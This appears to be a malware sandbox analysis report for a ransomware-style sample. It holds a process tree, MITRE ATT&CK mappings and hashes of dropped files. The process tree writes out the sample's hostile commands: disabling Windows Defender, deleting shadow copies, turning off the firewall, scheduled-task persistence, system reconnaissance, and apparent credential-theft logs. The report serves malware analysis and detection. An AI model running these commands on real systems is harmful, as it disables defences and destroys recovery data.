-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:4180
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:472
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:5016
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:4836
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4004 -
C:\Users\Admin\AppData\Local\Temp\2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe"3⤵PID:2188
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:3108
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:5040
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:3400
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2544
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵PID:5644
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1180
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3452
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:5412 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:5836
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵PID:4968
-
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:5288
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5320 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:5708
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5628 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:5588
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5368 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:5640
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5380 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:6016 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:5808
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5388 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:5632
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5404 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
PID:5848
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5436
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵PID:5740
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:5968 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2484
-
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵PID:2868
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:6076 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:4892
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:2908
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:2684
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:2224
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:1876
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3060
-
C:\Users\Admin\AppData\Local\Temp\2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:4728
-
C:\Users\Admin\AppData\Local\Temp\2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:892
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:1864
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20260523_051652.jpg
- Size 116KB
- SHA256 4c0141dcb3b920394b2890e0486891a1d192ff9d6b3aad9380d4d5cc88265761
- MD5 f9694c9b7f8a2a807b3d619c9e652256
- SHA1 51a3a13315516220a6fc4c5195dff6aec79e9bff
- SHA512 238d83fe93c0ca46df5dcbf5498b00c13cf10253fb3ab35c49c469e9eabdf1b9c0f8e4d04cf3e467496b7adec90406a159c7f78691d04fca93898100ba03aa70
- SSDEEP 1536:IK5RRRRRRRRRRRbQH2wnTrpTRxSUJ0zQtyXjA3y1nbNmKQ0vErihLXTPmYX/kpA:PvwThRxSUJ0zxjyQbNmKhvf3Pv0A
- TLSH T189C33E178809DBD2A02D86E4BE571DEC2E162B1CE9967DFF05625FCB3E502634D8D02E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\invoice_1.pdf
- Size 68KB
- SHA256 13572257fdd419c54231bef53c57021c0b4922ab7eaa29f3af095c73a12c7f03
- MD5 e95e7f954a2154c93aaeb1da75048d44
- SHA1 1098a02a5795991be804991a4206922455a39e7f
- SHA512 410a2347e394902e81c17d4f30069347cb0e2a03bfd6b4e4a7b814c3955745c1a806771c4df8f90a4ae84777fd3cdf9c2b85df2e829404239bf9b418a56501e7
- SSDEEP 1536:IBUx7CnBuB9+Z0Tx9eiEF05XGQEqpl99wcrhs+PjXQQdLkeSYrvBrBdej:IBUhCBuB9f9ejGWQlD9ycrLXQQGXYrv0
- TLSH T125632B368B22FDC4777F3D40E05439561C493E2B97B5267CFA850DAA38A6680EF2E458
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 67KB
- SHA256 70a36a9c9544ba3d7ab39ea943adbf668a7a607e85ee244ee761d254e78466a2
- MD5 d940bf23f09ca837125ac577e916617c
- SHA1 9f08a8336a715bf5072f2cdd386c72c48d4d335d
- SHA512 3e6c3c0cfd6d0855247ebd5a9ccb68fa8fd70ae637c30ae784e222739200cd938613025088bd976b59c7300f4cca653cb9169ae5f7cfe3e4427f45371fb5e9d3
- SSDEEP 1536:oBUx7CnBuB9+Z0Tx9eiEF05XGQEqpl99wcrhs+PjXQQdLkeSYrvBrBde6:oBUhCBuB9f9ejGWQlD9ycrLXQQGXYrvX
- TLSH T12F632B368B23FDC4777F3D40E05439561C893E2B97B5267CFA850DAA38A6640EF2E458
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\4bb69587-47dc-438d-9a9d-7745eafb6f4e.tmp
- Size 649B
- SHA256 4d974131eece0aebc22e7c9e4c062a5ca9ff599b02109a56fc941ec15d9e639e
- MD5 4888c0d6f00b00669b6ff55c13c4393b
- SHA1 b0cecfa7c842bfa1633e111da5ab2b8c9e4d54b5
- SHA512 4e93a21f629ab97ee44d55dbefa5bff24fe9f9a60317dfbe2da1eb437fa58acc8972e44a789562ea455397081d70d4ea667968394ed3657c736bc6efb6892412
- TLSH T1B2F0F9B9C8219C2718FD1B2930650747F79113273B80884B3A3D820C4FB557F855692C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000021
- Size 878KB
- SHA256 1b0e03f1ad4f7e41e6c8692814f25bdb877cb1e48d256211ab3b8b82f0603894
- MD5 22fc2ebc3cd98310de8c64ef6645e66d
- SHA1 539413aa33cf09cfbe6dee6cec184b9485665518
- SHA512 6db52e65ffc4239d6e922c485e20583beb887404a33c3b5009c2c7db62f46eeadd0567eb882d07c06c2aae1632ede04a3dd90919a1d351000f4c2e9c8eeede2f
- SSDEEP 24576:RBiYprV1gJdlJC/ADWipzao1eEQPiIEhuykdKEOD:RBZ1gJzyGWipHVQPdEsNu
- TLSH T17E15331E8AE6413D9B4BB8D78E4C67317CAD52FA335FC205BED7D346232048F5A68854
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
- Size 480B
- SHA256 2c50eee933bb3679b2f5493b30607d2f1cb543d36215f02b43e6594435122861
- MD5 9f9a06be0729e004429174ca01e6f106
- SHA1 eea7c758003c0553d6c8cf65ab34c5a289e92480
- SHA512 4aa01d9913cefbd291f4ffc105709d633cc94ad882d6c9c0ea5326b31aebc929790670a63205e88637d76b28443c06a2b2208b99765110d7712d610c1486515c
- TLSH T1E1F0DF03A0C67E06FFD1127478FE0B5965BA046A4B030B43D78E8C7064232E555AD943
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 2KB
- SHA256 d3ea0634f9389b8ea09028814d9f03435f7b6a6dfa676b4dadb775896fe1cf0d
- MD5 60730973a2efa22051ba50631eb89ecf
- SHA1 cc43771a4c7bd5bbafa9d77e09aa0b44ec050f46
- SHA512 50022cf0b39212e5a68db60479944960f3fdf397d1aadb51c56b073d469e25ae9261e0a6fdb63895121becb716bb139efe5a3e950e921b2aacd31ff56d2950bb
- TLSH T12E4148F3C7D8897D890156F8A7192F2FCE790E14536C3C5A89E5AE0B53E1872E24058F
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 7KB
- SHA256 cd9b6dde7e95b49a85f32fa06f8abc5309d28fa87bb005263d9bf032f697d7f9
- MD5 bb4cef9f1a4fa5d14b4dea4770883878
- SHA1 999125e7ed9b832cf513c7e7a10814a5924051d8
- SHA512 9742285bc03cfac63ba1931c7c7f811eb18eef445a98feea683a6a7b1fc0cb24eb5379a0b1f90e0e1e42e88bbb20338ed5e75d12aff911ba50063f3ef024a047
- SSDEEP 192:Dq2xwE9GhBLSrYnOP+pPUe1iJg5CRIjVn1gDHOkFp/:Dq2xwE9GhBLSrYnOP+pPUuiJg5CRIjVq
- TLSH T180F18DF3C3E9C96D8C5211F5AB146E1BCE590D1443683D2AD9D9AF4FA3E2871E24068F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 12KB
- SHA256 beddc72522bddaf1234567a736209218e98c7ee0f6bd7d210c6ca8c253699a85
- MD5 60462c1be99ba7b06d51a52969a9a538
- SHA1 330a04f0c55026d759e33e47a6c2893565c57731
- SHA512 77d84d7a66463f122a3670a42adb8933c41c35456879432c967060cc389ceb3c68fedb295046140fb6324952ccf225f9b9b46d07ec2c2410766eadc2427360dc
- SSDEEP 192:4RCNxQhWWb5cAB8v7cpAPRp2qulS9BHsb+WNnMX81R26G2+0kwZIzVyIsnAUge:4RCNShhLowUXllrwYw2x27qVe
- TLSH T13042D62EAD24697B5CDBD22AF9657B53E7F5103225842E80F6FC8A2C14EB5CC2217817
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
- Size 16KB
- SHA256 ac883f50a13b9c80e544411f1331af4575f3b2f3b141437197c53fd0c7fb76c5
- MD5 c7f34f00c10d737e29facf4108b856ec
- SHA1 854e6f24a8ef76e979b88fbaf215ce935e962602
- SHA512 6b3e5cb7239a0e10410633aa2ba4ab624df781b361ce103b11579e1a01cc4352eaf43c44b134fc1010285409b9833f4586dca2ec7a0d1baa3bea79691452dfa1
- SSDEEP 384:dXjRs7KxkXqKf/pUZNCgVLH2HfgslKR7pLuLcMzOXODR0+ErU3DTHGENEAYd:dzRs7KxkXqKf/pUZNCgVLH2Hfgs8R7pT
- TLSH T13272E9676C4C9A770F94C6CCD8267F4FADB5014B66E9886483FA582503D5BCF110A2FB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\1023a31eb51c5009890797159251849ba431b18f\index.txt
- Size 133B
- SHA256 6712eb1b6f8727fa573ed3b2360c8f12f48568f881513deac51101d14e74919b
- MD5 39cda2880bba886c12429be42445df2d
- SHA1 52a61e0eeb63ebbf8a584fc5cbeea58eb99a9a7b
- SHA512 0c527cfbd30b8bebb39d369814b94d94d8defff1fba1874952f83aefbfbf56c0c7aaec4f64536b2740a996193ff226fd7fce00f9e1b574445ca87558dc990118
- TLSH T100C02B5F2BE0A0A8BF8CCEC1080030308237D808CBF0D658C01C4401850701384D9F00
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\1023a31eb51c5009890797159251849ba431b18f\index.txt~RFe5908ff.TMP
- Size 140B
- SHA256 cfa03d607d10ddc5f83ff808cdd20f094534b0ceb64178b14d6eceb60b32b7aa
- MD5 7d92540ce5c0b28ba1da008b583c8910
- SHA1 08f4c4e0f7366136fc537363b7bbdb496b684f5a
- SHA512 f9bb7d9eca99fe7a5862f158f8ae4f21332402400267493d6ecdd6ded82930d188a107c1677f4ca826248b072d314840fd4631025c54d5db8da12e1b580ff019
- TLSH T16FC02B5F3BF050A8BF44C9C2480030304237CC08CBE0C654C11C70018177113C5D8E00
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
- Size 144B
- SHA256 90b0a0c4fbfd72afe63f10ec1054a106bce8540e1becf3fece992ca7c0498427
- MD5 00b4c6d071d6ab9d68a6faa257340914
- SHA1 08cff32dec974de14f5959bf0df7abe1d5c7e949
- SHA512 cfe5a93876ea3cbd5b04a4a0c0d54a483ce0525ae700eb3bfe1010cee38a866169fe0bcc1ede26487eb2eaec881c9d05a0a0cfcb656fdab5db46de77ff9920f9
- TLSH T1A7C01241C401A102C10A03F431A3D498B258DF21FB1A1F4892E11E13D83B162823B556
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe592745.TMP
- Size 96B
- SHA256 6a6f51d7b88e34ea706e79d77383e30716c731b9164b7a24f684237510d0dda9
- MD5 a053e86ce01ed3a27718c1face145b65
- SHA1 95b0072e50829767f931d4d69d7f3d7574ec1d90
- SHA512 46f01cebb1670a48789f2e02a8ec534aa258d78024079fc02c3db8747de5aff9a6d0c3408cf56d4945f43a3832960faaae6dd310adc358621946133cc5a33551
- TLSH T1CAB00299C1036312D14203F03999A6E87160DF39CA339717A3E4AB6AFD666606529574
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 a76a15e3b773950c7d5afc7c27bb6724faed94a862a6da48d2bfdea29143c18d
- MD5 db025bffdae32ea3faac84fb9485e656
- SHA1 99c76cbc1e8c972abaac233baa0421f7b08c7d77
- SHA512 383f816a4064b59a44ba73f67bdea5c3cbea4422a7b3c2269e451395706bf14649c43361d5cecdf310c60b0f7e0bf772928732c22732429e2e3f6e75ef0dc9a1
- SSDEEP 192:tB+XuvBnl3JsueMEGvIW1/rcP2OeSpX67q/+dVumkwkb:jeuvBnhJsueMEGvIW1DcP2O5JWVumknb
- TLSH T1B7D3874B3A743102EDE59A721CE050BB5E3C716D4F55A5D428B620688EF2963A23D4FF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 115KB
- SHA256 0551fce576555eb8940928789d46a30d7596f36f5386d862afad0b9332730a3e
- MD5 1b57360867857c2f2a3d05a6060af632
- SHA1 487ff248f3d22b27cb34b66532b188474c94a969
- SHA512 f4fc70941f8d25093277262aff985cfc2a23b20f29b496c6a9e3f0888a68e9a1bde2b0e6a55c1cc93dc2edc819188983f9adfe83551c5d29f49b37af6aa533b9
- SSDEEP 3072:SbFUaUUiXm1rSkh5fM/tI3ZNUVe6SibUQ8FdkJ/:mFmUi21rSm8uUVNSlzY/
- TLSH T1FFC31204BAE3E8F2EE5930447BEE2A145D6C4D818291C6415273AD419DEF3C61FAAF39
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 116KB
- SHA256 4983459204fd480d2d9618fbb8a12ba9934b20dc49c8a291efb90e05b0a85f67
- MD5 9c69d97b7dc68b5935c923cf6e66c39f
- SHA1 6d2dc2a9201248801a5b716a68b236ed4a3b8572
- SHA512 f353b274b0cf42da419c5a69bfe359035c01859acfea5af67a4fb3d6ea0b5c8ddaac3b9df265b8356d98be5bb2bdfc23824c026b23678398b44de998d67e0a2f
- SSDEEP 3072:SVFUaUUiXm1rSkh5fM/tI3ZNUVe6SibUQ8FdkJ6:gFmUi21rSm8uUVNSlzY6
- TLSH T17AC3121079E3F8B3FE99304476EE2A155E680D818291C64157739E419DEF3CA1FAAF38
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 232KB
- SHA256 874e46f9209c856ebb1bc1cb35b9acc40f945ab0b02b93512ba46fde0780d911
- MD5 93c33df8da69d78e4d5cbdeab24be143
- SHA1 f1c7dbedfd3db7f9460816aebf35aecc6167e103
- SHA512 fbf8d8c9c1106b94abdc1653c5f641096236bdbb3d4ff6c7b068222a2329d7451e754be87d657d7f19bf328820ab246b9ecd173757ec52064a1553a30b100b92
- SSDEEP 6144:TcLWhtQp2WBhKyZPhp32IZ8PFmUi21rSm8uUVNSlzYM:th0BHPhRlZwfi21b8j8zB
- TLSH T1C83422209CB139F1FE1572457AD97D1B8E480F531E90DE516659EA033CCE2AB4B2BE34
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 231KB
- SHA256 e44e109113784a347d29f67f9f272fe38ddfb4881de3b82c0f2b6fc916fc9eee
- MD5 4243f1dc546f3cf111a65cb3eb8ad143
- SHA1 bfb417161985f3b40df8c345d420831093edd99c
- SHA512 913eca2026ae7bdb9b9e533c066fbeb44cff862ed8bad28405c5b5117daca3dc8d29aa2334ab34a8f5acb5f31b7c08714910daf68e9287158ec2325ed041a61a
- SSDEEP 6144:eLWhtQp2WBhKyZPhp32IZ8PFmUi21rSm8uUVNSlzYM:zh0BHPhRlZwfi21b8j8zB
- TLSH T1FD3422409D7139B5FE0572187BE97D1B9F080F621E90DA915359EA033DCB2AB4B2BE34
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
- Size 660B
- SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
- MD5 1c5e1d0ff3381486370760b0f2eb656b
- SHA1 f9df6be8804ef611063f1ff277e323b1215372de
- SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
- TLSH T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bjxp2n1h.3iw.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 309B
- SHA256 d52345fa788d7263c238d105630972d45dcba592fcac3fbfbc75182489c54f4c
- MD5 36d4c69e9efb5e296d5cedc724bf4b99
- SHA1 5055f1ce811db2dec5a952e63bff67b01c82ef3e
- SHA512 819f5f2c98dcbd81a14cff04fe0680c5b476b2638d78d71687dbc3899bf172b752b50a530e746bcbf3cc616f210b89102c38fc30e7362fd2ba1374afc749dec6
- TLSH T157E07D476358C6A50011512BC1B28D4CD5A054182A276E6097A0CE4D36508C995F1042
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 310B
- SHA256 85353ed9c79669ab9779dcf44d3f49d829d1d084fe57d164ea3811277daee8ad
- MD5 7437ae52e2d26a322668d071cf3609a6
- SHA1 d0fecb5ccd809473fa728b47c2f3081b25b01ad1
- SHA512 c3adde312808ed1d4615f2452d7a56707fc7bf908029e9cbb49c44c0d6d59ea2a0f5f3860bf808d90021c003b316ec5d20103387ad541f125b6e14d2fd2d5ae9
- TLSH T1ADE07D476358C6A50011513BC0B28D4CD5E055182E376E20D7A0CE0D36408C995F1042
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 155KB
- SHA256 2df9a7a23706563294d90e3041b756af30ac0b90a7c270ebd7daa3a2a2d1a914
- MD5 45a11965a2b282e023906a32e6c71a47
- SHA1 c012e03d660a7755f61f1f4e6ad02ee808efdcab
- SHA512 008445661b36f4c0baf3ccd329b6e72e3fd9b82103f5e84bfa5aeba40412c7f283a30620c711e1f1842fbf9f7d6c5d97569639ee7e46727caed296fbab5890df
- SSDEEP 3072:obPIJQ+b909w3dfwtsyMP0B/3HgcmScbphiSW/W8/:kQ709Cqe0BocmLPip/9/
- TLSH T1D8F39911C6F6CE7B15851AAB195637C1A438B7B0D2EC81FF21E6AA63F0738B2C74C651
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 155KB
- SHA256 5b96cd107a6908994ae03662705775f3f0923ebb205d06b199b8a78bfa7523c6
- MD5 804a1f76747bc6b9482a4a399fa38569
- SHA1 e6f1c1ca7faa2f609213c11b5595dd93e9092f83
- SHA512 502316333b6a069f15e8d0379324c076096e7ae2f17eaa58c26940865d8f9a252d8e9f78e68e508ab39e6babc9c66116648cd919d1ea7ce5faef492c7da6ac79
- SSDEEP 3072:EbPIJQ+b909w3dfwtsyMP0B/3HgcmScbphiSW/W8L:gQ709Cqe0BocmLPip/9L
- TLSH T1C1F39911C2F6CE7B15851AAB195637C1A438B7B1D2EC81FF21E6AA63F0738B2C74C651
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 50KB
- SHA256 7388a9489cc001d2e017ee47b1ca480a6e8640fb1a755232cdb98318e6a8043e
- MD5 f2342328fc788452ee40db062ffac4c8
- SHA1 49803d4590a5fa9ec6585171f3373c07c80e5df3
- SHA512 83f8f593d6016244da91e5724706508b3ec30b2e775f1041ba6ffd090611b079ccca726b4dccf37b3b7892c43954fa6d199d884b5fb2a08d4c2a3d3ae90af317
- SSDEEP 768:td3VnRxVXHQ+nunD13s0AVg/r/RgL4aC1XXGblfppaKFc5xh:L3JBQz53sXKrGL4aEXGblfLaucl
- TLSH T19933F74437F94111F1BF4ABA4DB192119B31B4A39C22E79E1BD5058E1AB3B40CDA8F77
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
